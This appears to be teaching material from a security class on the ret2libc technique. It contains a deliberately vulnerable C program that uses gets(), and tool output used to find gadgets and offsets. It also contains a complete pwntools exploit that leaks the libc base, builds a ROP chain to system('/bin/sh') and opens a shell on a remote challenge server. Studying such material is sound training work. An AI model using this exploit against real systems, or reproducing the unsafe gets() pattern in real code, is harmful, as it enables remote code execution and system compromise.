SCIST2026 PWN Class - ret2libc

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// gcc chal.c -o chal -fno-stack-protector -no-pie
void init_IOBUF(){
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);    
}

int main(){
    init_IOBUF();
    char buffer[0x30];
    printf("GIFT: %p \n>", &printf);
    gets(buffer);

    return 0;
}

checksec --file=chal

readelf --wide -s libc.so.6 |grep printf

2611: 0000000000060100   204 FUNC    GLOBAL DEFAULT   17 printf@@GLIBC_2.2.5

ROPgadget --binary libc.so.6 --only "pop|ret"|grep rdi

0x000000000010f78b : pop rdi ; ret

ROPgadget --binary libc.so.6 --only "ret"

0x000000000002882f : ret

0xdf58-0xdf20=0x38

addr=r.recvline().decode().split(": ")[1].strip()
addr = int(addr, 16)
offset=addr-0x60100

pop_rdi=0x10f78b+offset
ret=0x2882f+offset
l = ELF('./libc.so.6')
p=flat(
  b'a'*0x38,
  ret,
  pop_rdi,
  next(l.search(b'/bin/sh\0')),
  l.sym.system
)

from pwn import *

context.arch = 'amd64'
l = ELF('./libc.so.6')

host='66.235.110.67'
port=20004
r=remote(host,port)


addr=r.recvline().decode().split(": ")[1].strip()
addr = int(addr, 16)
offset=addr-0x060100
l.address=offset
ret=0x2882f+offset
'''libc.so.6
0x000000000010f78b : pop rdi ; ret
'''
pop_rdi = offset + 0x10f78b
p=flat(
    b'a'*0x38,
    ret,
    pop_rdi,
    next(l.search(b'/bin/sh\0')),
    l.sym.system,
)
r.sendline(p)
r.interactive()